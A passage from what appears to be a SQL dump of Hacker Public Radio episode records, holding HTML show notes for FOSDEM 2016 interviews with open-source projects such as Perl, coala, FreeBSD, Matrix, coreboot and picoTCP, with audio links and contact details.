alt=\"Logo\" height=\"80\" src=\"https://st.pimg.net/perlweb/images/camel_head.v25e738a.png\"/></p>\r\n<blockquote cite=\"https://www.perl.org/about.html\">\r\nPowerful, stable, mature, portable\r\n<br />\r\nPerl 5 is a highly capable, feature-rich programming language with over 27 years of development. Perl 5 runs on over 100 platforms from portables to mainframes and is suitable for both rapid prototyping and large scale development projects.\r\n<br />\r\n\"Perl\" is a family of languages, \"Perl 6\" is part of the family, but it is a separate language which has its own development team. Its existence has no significant impact on the continuing development of \"Perl 5\".\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Wendy G.A. van Dijk, Mark \"shadowcat\" Keating, and Curtis \"Ovid\" Poe</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://www.wendy.org/foto/wendy-2000-200x271.jpg\"/>\r\n<img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/458853763315281920/jA073LgW_400x400.jpeg\"/>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/5/000/1dd/09c/3eb9d52.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=3598.791475,4677.515032\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=3598.791475,4677.515032\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.perl.org\">https://www.perl.org</a></li>\r\n<li>Personal Website Wendy G.A. van Dijk: <a href=\"https://www.wendy.org/\">https://www.wendy.org/</a></li>\r\n<li>Personal Website Mark Keating: <a href=\"https://shadowcat.co.uk\">https://shadowcat.co.uk</a></li>\r\n<li>Personal Website Curtis \"Ovid\" Poe: <a href=\"https://allaroundtheworld.fr\">https://allaroundtheworld.fr</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/perlfoundation\">@perlfoundation</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/shadowcat_mdk\">@shadowcat_mdk</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/OvidPerl\">@OvidPerl</a></li>\r\n<li>email: <a href=\"mailto:site.nospam@nospam.wendy.org\">site.nospam@nospam.wendy.org</a></li>\r\n<li>email: <a href=\"mailto:m.keating.nospam@nospam.shadowcat.co.uk\">m.keating.nospam@nospam.shadowcat.co.uk</a></li>\r\n<li>email: <a href=\"mailto:ovid.nospam@nospam.allaroundtheworld.fr\">ovid.nospam@nospam.allaroundtheworld.fr</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Perl\">https://en.wikipedia.org/wiki/Perl</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/wendyga\">https://www.linkedin.com/in/wendyga</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/markkeating\">https://www.linkedin.com/in/markkeating</a></li>\r\n<li>Linkedin: <a href=\"https://fr.linkedin.com/in/curtispoe\">https://fr.linkedin.com/in/curtispoe</a></li>\r\n<li>Wendy G.A. van Dijk <a href=\"https://hackerpublicradio.org/eps.php?id=1454\">hpr1454 :: HPR Coverage at FOSDEM 2014 Part 5</a></li>\r\n</ul>\r\n<h2 id=\"Barghest\" >Barghest</h2>\r\n\r\n<h3>Listen to the interview with Jean-Baptiste Laurent and Kevin Gruber</h3>\r\n\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=4677.515032,5101.964150\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=4677.515032,5101.964150\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://barghest.org\">https://barghest.org</a></li>\r\n<li>email: <a href=\"mailto:jeanbaptiste.laurent.nospam@nospam.protonmail.com\">jeanbaptiste.laurent.nospam@nospam.protonmail.com</a></li>\r\n<li>email: <a href=\"mailto:kevin.gruber.kg.nospam@nospam.gmail.com\">kevin.gruber.kg.nospam@nospam.gmail.com</a></li>\r\n</ul>\r\n<h2 id=\"Coala\" >Coala</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://github.com/coala-analyzer/coala-artwork/blob/master/artwork/logo/coala_color.svg\"/></p>\r\n<blockquote cite=\"https://fosdem.org/2016/schedule/event/coala/\">\r\nA Language Independent Code Analysis Application. coala is an application that makes it very easy, writing analysis for any programming language or even arbitrary textual data. It is a useful abstraction that provides a convenient user interface and takes away a lot of common tasks from the algorithm developer, effectively making bare research available for production use.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Lasse Schuirmann</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/670553185501782016/o1yxolKe.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=5101.964150,5432.881020\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=5101.964150,5432.881020\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://coala-analyzer.org/\">https://coala-analyzer.org/</a></li>\r\n<li>Personal Website: <a href=\"https://schuirmann.net\">https://schuirmann.net</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/LSchuirmann\">@LSchuirmann</a></li>\r\n<li>email: <a href=\"mailto:Lasse.nospam@nospam.Schuirmann.net\">Lasse.nospam@nospam.Schuirmann.net</a></li>\r\n<li>coala Documentation: <a href=\"https://docs.coala-analyzer.org/\">https://docs.coala-analyzer.org/</a></li>\r\n<li>coala Core Repository: <a href=\"https://github.com/coala-analyzer/coala/\">https://github.com/coala-analyzer/coala/</a></li>\r\n</ul>\r\n<h2 id=\"Google_Summer_of_Code\" >Google Summer of Code</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://developers.google.com/open-source/gsoc/images/gsoc2016-sun-alpha-97x97.png\"/></p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Google_Summer_of_Code\">\r\nThe Google Summer of Code (GSoC) is an international annual program, first held from May to August 2005, in which Google awards stipends (of US$5,500, as of 2015) to all students who successfully complete a requested free and open-source software coding project during the summer. The program is open to students aged 18 or over – the closely related Google Code-In is intended for students under the age of 18.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Mary Radomile</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/AAEAAQAAAAAAAALfAAAAJDIzN2EzYzcyLWE1ZTYtNGVhNC04ZDI4LWNlNDAzYzhhNDY2Yg.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=5432.881020,5590.836567\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=5432.881020,5590.836567\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://developers.google.com/open-source/gsoc/\">https://developers.google.com/open-source/gsoc/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/gsoc\">@gsoc</a></li>\r\n<li>email: <a href=\"mailto:maryr.nospam@nospam.google.com\">maryr.nospam@nospam.google.com</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/pages/Google-Developers/967415219957038\">https://www.facebook.com/pages/Google-Developers/967415219957038</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+GoogleDevelopers/posts\">https://plus.google.com/+GoogleDevelopers/posts</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Google_Summer_of_Code\">https://en.wikipedia.org/wiki/Google_Summer_of_Code</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/maryradomile\">https://www.linkedin.com/in/maryradomile</a></li>\r\n<li>GSOC: <a href=\"https://www.google-melange.com/\">https://www.google-melange.com/</a></li>\r\n<li>Blog: <a href=\"https://googledevelopers.blogspot.com/\">https://googledevelopers.blogspot.com/</a></li>\r\n<li>Medium: <a href=\"https://medium.com/google-developers\">https://medium.com/google-developers</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/GoogleDevelopers\">https://www.youtube.com/user/GoogleDevelopers</a></li>\r\n</ul>\r\n<h2 id=\"Ultimaker\" >Ultimaker</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://ultimaker.com/img/logo-textblue.svg\"/></p>\r\n<blockquote cite=\"https://www.ultimaker.com/\">\r\nWe wanted everyone to be able to enjoy the experience of making. Whether it was a cat dressed as an astronaut or a mechanical masterpiece. We set it as our goal to enable you to make those things. So we built a pioneering device that everyone could use and enjoy. We made it open source so everyone really could pitch in. And we started to grow.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Olliver Schinagl</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://avatars0.githubusercontent.com/u/1245341?v=3&s=400\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=5590.836567,6314.949922\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=5590.836567,6314.949922\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.ultimaker.com/\">https://www.ultimaker.com/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/Ultimaker\">@Ultimaker</a></li>\r\n<li>email: <a href=\"mailto:o.schinagl.nospam@nospam.ultimaker.com\">o.schinagl.nospam@nospam.ultimaker.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Ultimaker\">https://en.wikipedia.org/wiki/Ultimaker</a></li>\r\n</ul>\r\n',30,78,0,'CC-BY-SA','FOSDEM, Mozilla, Apache, Jenkins, xwiki, dokuwiki, tikiwiki, MediaWiki, Linux from scratch, Perl, Barghest, Coala, Google Summer of Code, Ultimaker',0,0,1),
(1960,'2016-02-05','FOSDEM 2016 AW Building and more',6952,'FreeBSD,Matrix,Brainduino,Butterknife,pyhurdy,Coreboot,OpenEmbedded, PicoTCP,PTXdist,JavaCardPro','<h1>Table of Contents</h1>\r\n\r\n<ul>\r\n<li><a href=\"#FreeBSD\">FreeBSD</a></li>\r\n<li><a href=\"#Matrix\">Matrix</a></li>\r\n<li><a href=\"#Brainduino\">Brainduino</a></li>\r\n<li><a href=\"#Butterknife\">Butterknife</a></li>\r\n<li><a href=\"#pyhurdy\">pyhurdy</a></li>\r\n<li><a href=\"#Coreboot\">Coreboot</a></li>\r\n<li><a href=\"#OpenEmbedded\">OpenEmbedded</a></li>\r\n<li><a href=\"#PicoTCP\">PicoTCP</a></li>\r\n<li><a href=\"#PTXdist\">PTXdist</a></li>\r\n<li><a href=\"#JavaCard\">JavaCard Pro</a></li>\r\n<li><a href=\"#Knitting\">Knitting</a></li>\r\n<li><a href=\"#Fenster\">Fenster</a></li>\r\n</ul>\r\n<h2 id=\"FreeBSD\" >FreeBSD Foundation</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.freebsdfoundation.org/assets/logo_freebsdfoundation_small.png\"/></p>\r\n<blockquote cite=\"https://www.freebsdfoundation.org/about\">\r\nThe FreeBSD Foundation is a 501(c)(3), US based, non-profit organization dedicated to supporting and building the FreeBSD Project and community worldwide. The Foundation gratefully accepts donations from individuals and businesses, using them to fund and manage projects, sponsor FreeBSD events, Developer Summits and provide travel grants to FreeBSD developers.\r\n<br />\r\nIn addition, the Foundation represents the FreeBSD Project in executing contracts, license agreements, copyrights, trademarks, and other legal arrangements which require a recognized legal entity. The FreeBSD Foundation is entirely supported by donations.\r\n<\r\nThe FreeBSD Foundation will support both the development and the popularization of FreeBSD, the world\'s best open source operating system.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Ed Maste, Director of Project Development</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/532647779634405376/a36U_YLE_400x400.jpeg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=75.900956,1090.903738\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=75.900956,1090.903738\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.freebsdfoundation.org\">https://www.freebsdfoundation.org</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/ed_maste\">@ed_maste</a>, <a href=\"https://twitter.com/freebsdfndation\">@freebsdfndation</a></li>\r\n<li>email: <a href=\"mailto:emaste.nospam@nospam.FreeBSD.org\">emaste.nospam@nospam.FreeBSD.org</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/FreeBSDFoundation\">https://www.facebook.com/FreeBSDFoundation</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/b/102140999376014320527/\">https://plus.google.com/b/102140999376014320527/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/FreeBSD_Foundation\">https://en.wikipedia.org/wiki/FreeBSD_Foundation</a></li>\r\n<li>Linkedin: <a href=\"https://ca.linkedin.com/in/edmaste\">https://ca.linkedin.com/in/edmaste</a></li>\r\n<li>Blog: <a href=\"https://freebsdfoundation.blogspot.com/\">https://freebsdfoundation.blogspot.com/</a></li>\r\n<li>RSS: <a href=\"https://feeds.feedburner.com/FreebsdFoundation\">https://feeds.feedburner.com/FreebsdFoundation</a></li>\r\n</ul>\r\n<h2 id=\"Matrix\" >Matrix</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://matrix.org/blog/wp-content/uploads/2015/01/logo1.png\"/></p>\r\n<blockquote>\r\nMatrix is an open standard for decentralised persistent communication over IP. It provides simple HTTP APIs and open source reference implementations for securely distributing and persisting JSON over an open federation of servers. Matrix can be used for decentralised group chat, WebRTC signaling, Internet of Things data transfer, and anywhere you need a common data fabric to link together fragmented silos of communication. Our focus is on simplicity and security.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Oddvar Lovaas</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://avatars1.githubusercontent.com/u/1705873?v=3&s=460\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=1090.903738,1605.775676\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=1090.903738,1605.775676\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://matrix.org/\">https://matrix.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/matrixdotorg\">@matrixdotorg</a></li>\r\n<li>email: <a href=\"mailto:oddvar.nospam@nospam.matrix.org\">oddvar.nospam@nospam.matrix.org</a></li>\r\n<li>GitHub: <a href=\"https://github.com/matrix-org\">https://github.com/matrix-org</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Matrix_(communication_protocol)\">https://en.wikipedia.org/wiki/Matrix_(communication_protocol)</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/5312995\">https://www.linkedin.com/company/5312995</a></li>\r\n<li>RSS: <a href=\"https://matrix.org/blog/feed/\">https://matrix.org/blog/feed/</a></li>\r\n</ul>\r\n<h2 id=\"Brainduino\" >Brainduino Open Source Brain Computer Interface</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://avatars2.githubusercontent.com/u/7516825?v=3&s=200\"/></p>\r\n<blockquote cite=\"https://fosdem.org/2016/schedule/event/brainduino/\">\r\nIn the recent years, affordable Brain-Computer Interfaces are becoming more accessible for consumers. Applications range from controlling computers / machines, biofeedback and Quantified Self. At first sight, the current generation of commercial devices seem to be decent in their functionality, and various use cases are suggested. However, neurophysiological signal quality, as well as limitations of software and hardware hackability are among the greatest issues and hurdles towards advancement in user experience. This is why we started to work on Brain-Duino, an open-source brainwave amplifier shield for the Arduino and other microcontrollers. Brain-Duino is a high quality, low noise and affordable EEG / BCI for hackers, makers, researchers, artists and other enthusiasts. \r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Konrad Willi Döring</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://neurofox.com/wp-content/uploads/2015/10/willi.jpg\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=1605.775676,2512.196181\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=1605.775676,2512.196181\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Personal Website: <a href=\"https://www.neurofox.com\">https://www.neurofox.com</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/brainduino\">@brainduino</a></li>\r\n<li>email: <a href=\"mailto:willi.nospam@nospam.neurofox.com\">willi.nospam@nospam.neurofox.com</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/brainduino\">https://www.facebook.com/brainduino</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/101207001631950617142\">https://plus.google.com/101207001631950617142</a></li>\r\n<li>info &amp; buy: <a href=\"https://www.psychiclab.net/IBVA/kit1.html\">https://www.psychiclab.net/IBVA/kit1.html</a></li>\r\n<li>album: <a href=\"https://plus.google.com/photos/101207001631950617142/albums/6129602618741270977\"> https://plus.google.com/photos/101207001631950617142/albums/6129602618741270977</a></li>\r\n<li>github: <a href=\"https://github.com/brain-duino\">https://github.com/brain-duino</a></li>\r\n<li><a href=\"https://fosdem.org/2016/schedule/event/brainduino/\">https://fosdem.org/2016/schedule/event/brainduino/</a></li>\r\n</ul>\r\n<h2 id=\"Butterknife\" >Butterknife</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/fosdem2016/butter_raster.png\"/></p>\r\n<blockquote>\r\nButterknife is the last missing piece of the puzzle that makes Linux-based desktop OS deployment a breeze. Butterknife complements your Puppet or Salt infrastructure and reduces the time you spend setting up Linux-based desktop machines. Lauri developed Butterknife as part of his MSc thesis at KTH while preparing for deployment of 4000+ dual-boot desktops and laptops of Tallinn Education Board. Butterknife is released under MIT license, feel free to share and improve.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Lauri Võsandi</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://avatars0.githubusercontent.com/u/194685?v=3&s=460\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=2512.196181,2865.104262\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=2512.196181,2865.104262\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://butterknife.rocks\">https://butterknife.rocks</a></li>\r\n<li>Personal Website: <a href=\"https://lauri.vosandi.com\">https://lauri.vosandi.com</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/laurivosandi\">@laurivosandi</a></li>\r\n<li>GitHub: <a href=\"https://github.com/laurivosandi/butterknife\">https://github.com/laurivosandi/butterknife</a></li>\r\n<li>email: <a href=\"mailto:lauri.vosandi.nospam@nospam.gmail.com\">lauri.vosandi.nospam@nospam.gmail.com</a></li>\r\n</ul>\r\n<h2 id=\"pyhurdy\" >pyhurdy meta-hurdy yocto project open embedded</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/fosdem2016/pyhurdy3.jpg\"/></p>\r\n<blockquote cite=\"https://events.linuxfoundation.org/sites/events/files/slides/hurdy.pdf\">\r\nEine Kliene Eingebettete Musik\r\n<br />\r\n(A little embedded music)\r\n<br />\r\nReplicating 12th Century Musical Instruments Using Embedded Linux\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Beth \'pidge\' Flanagan</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/459162665655361538/Gac-tiaJ.jpeg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=2865.104262,3393.776374\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=2865.104262,3393.776374\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://github.com/yoctopidge/pyhurdy\">https://github.com/yoctopidge/pyhurdy</a>, <a href=\"https://www.yoctoproject.org/\">https://www.yoctoproject.org/</a></li>\r\n<li>Personal Website: <a href=\"https://hacklikeagirl.wordpress.com/\">https://hacklikeagirl.wordpress.com/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/yoctopidge\">@yoctopidge</a>, <a href=\"https://www.twitter.com/yoctoproject\">@yoctoproject</a></li>\r\n<li>email: <a href=\"mailto:elizabeth.flanagan.nospam@nospam.intel.com\">elizabeth.flanagan.nospam@nospam.intel.com</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/pages/Yocto-Project/155601504475740?fref=ts\">https://www.facebook.com/pages/Yocto-Project/155601504475740?fref=ts</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/107524829985806817965\">https://plus.google.com/107524829985806817965</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups?gid=3636272&trk=hb_side_g\">https://www.linkedin.com/groups?gid=3636272&amp;trk=hb_side_g</a> <a href=\"https://www.linkedin.com/in/bethflanagan\">https://www.linkedin.com/in/bethflanagan</a></li>\r\n<li>ELCE Dublin 2015: <a href=\"https://events.linuxfoundation.org/sites/events/files/slides/hurdy.pdf\">https://events.linuxfoundation.org/sites/events/files/slides/hurdy.pdf</a></li>\r\n</ul>\r\n<h2 id=\"Coreboot\" >Coreboot and Flashrom</h2>\r\n\r\n<p><img src=\"https://www.coreboot.org/coreboot.png\" alt=\"logo\" height=\"80\"></p>\r\n<blockquote cite=\"https://www.coreboot.org/\">\r\ncoreboot is an extended firmware platform for delivering lightning fast and ultra secure boot experience on modern computers and embedded systems. As an Open Source project it provides auditability and helps regaining control over technology.\r\n</blockquote>\r\n\r\n<blockquote cite=\"https://www.flashrom.org/Flashrom\">\r\nflashrom is a utility for identifying, reading, writing, verifying and erasing flash chips. It is designed to flash BIOS/EFI/coreboot/firmware/optionROM images on mainboards, network/graphics/storage controller cards, and various other programmer devices.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Carl-Daniel Hailfinger</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://www.irill.org/media/fosdem2012/maintracks/Coreboot.webm-1-1.jpg\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=3393.776374,4266.637366\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=3393.776374,4266.637366\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.coreboot.org/\">https://www.coreboot.org/</a> <a href=\"https://www.flashrom.org\">https://www.flashrom.org</a></li>\r\n<li>Personal Website: <a href=\"https://blogs.coreboot.org/blog/author/carldanielhailfinger/\">https://blogs.coreboot.org/blog/author/carldanielhailfinger/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/coreboot_org\">@coreboot_org</a>, <a href=\"https://twitter.com/flashrom_org\">@flashrom_org</a></li>\r\n<li>email: <a href=\"mailto:c-d.hailfinger.devel.2006.nospam@nospam.gmx.net\">c-d.hailfinger.devel.2006.nospam@nospam.gmx.net</a></li>\r\n<li>Wikipedia: <a href=\"\"https://en.wikipedia.org/wiki/Coreboot>https://en.wikipedia.org/wiki/Coreboot</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Flashrom\">https://en.wikipedia.org/wiki/Flashrom</a></li>\r\n<li>Carl-Daniel Hailfinger: <a href=\"https://hackerpublicradio.org/eps.php?id=1702\">hpr1702 :: FOSDEM 2015 Part 5 of 5</a></li>\r\n</ul>\r\n<h2 id=\"OpenEmbedded\" >OpenEmbedded</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.openembedded.org/skins/common/images/logo.png\"/></p>\r\n<blockquote cite=\"https://www.openembedded.org/wiki/Main_Page\">\r\nWelcome to OpenEmbedded, the build framework for embedded Linux. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Florian Boor</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/3/000/005/399/3f98af0.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=4266.637366,4667.720598\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=4266.637366,4667.720598\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.openembedded.org/\">https://www.openembedded.org/</a></li>\r\n<li>email: <a href=\"mailto:Florian.Boor.nospam@nospam.kernelconcepts.de\">Florian.Boor.nospam@nospam.kernelconcepts.de</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenEmbedded\">https://en.wikipedia.org/wiki/OpenEmbedded</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/florianboor\">https://www.linkedin.com/in/florianboor</a></li>\r\n<li>Paul Eggleton and Apelete Seketeli <a href=\"https://hackerpublicradio.org/eps.php?id=1453\">hpr1453 :: HPR Coverage at FOSDEM 2014 Part 4</a></li>\r\n<li>Ulf Samuelsson <a href=\"https://hackerpublicradio.org/eps.php?id=1701\">hpr1701 :: FOSDEM 2015 Part 4 of 5</a></li>\r\n</ul>\r\n<h2 id=\"PicoTCP\" >PicoTCP</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://static1.squarespace.com/static/530e4682e4b0984e87ed0fee/t/56a0b295b20943ce9189f22b/1453737867088/?format=1500w\"/></p>\r\n<blockquote cite=\"https://www.picotcp.com/\">\r\npicoTCP is the answer for a size, speed and feature conscious open source TCP/IP stack for embedded devices.\r\n<br />\r\nEach component of the stack is deployed in a separate module, allowing the user to select at compile time what needs to be included for any specific platform. This allows you to free up memory and resources, which are often mission-critical for a project.\r\n<br />\r\nThe provided API\'s are small, well documented and give you access to the library facilities, both from the applications and from the device drivers. The library facilitates the integration with the surroundings and minimizes the time needed to combine the stack with existing code. The support required to port to a new architecture is reduced to a set of macros defined in a header file specific for the platform.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Toon Peters, Embedded Software Engineer at Intelligent Systems Belux by Altran</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/1/000/251/37a/2c87c11.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=4667.720598,5414.310000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=4667.720598,5414.310000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.picotcp.com/\">https://www.picotcp.com/</a></li>\r\n<li>Company Website: <a href=\"https://intelligent-systems.altran.com/\">https://intelligent-systems.altran.com/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/phalox\">@phalox</a> <a href=\"https://twitter.com/picoTCP\">@picoTCP</a></li>\r\n<li>email: <a href=\"mailto:toon.peters.nospam@nospam.tass.be\">toon.peters.nospam@nospam.tass.be</a></li>\r\n<li>Linkedin: <a href=\"https://be.linkedin.com/in/toonpeters\">https://be.linkedin.com/in/toonpeters</a></li>\r\n<li>Maarten Vandersteegen <a href=\"https://hackerpublicradio.org/eps.php?id=1702\">hpr1702 :: FOSDEM 2015 Part 5 of 5</a></li>\r\n</ul>\r\n<h2 id=\"PTXdist\" >PTXdist and Barebox</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/5/50/Barebox_bootloader_logo.svg/800px-Barebox_bootloader_logo.svg.png\"/><img alt=\"Logo\" height=\"80\" src=\"https://www.pengutronix.de/images/ptx_logo_200.png\"/></p>\r\n<blockquote cite=\"https://www.pengutronix.de/software/ptxdist/index_en.html\">\r\nWhat is the best way to build a Linux distribution for an embedded system in a reproducible way, caring about long term maintenance and small footprint? PTXdist is a GPL licensed build system for userlands, started by Pengutronix. It uses the Kconfig configuration system from the Linux kernel. Although PTXdist (without patches) still fits on one disc, a whole root filesystem can be built as easy as \"ptxdist go\".\r\n</blockquote>\r\n\r\n<blockquote cite=\"https://www.barebox.org/\">\r\nbarebox is a bootloader designed for embedded systems. It runs on a variety of architectures including x86, ARM, MIPS, PowerPC and others. barebox aims to be a versatile and flexible bootloader, not only for booting embedded Linux systems, but also 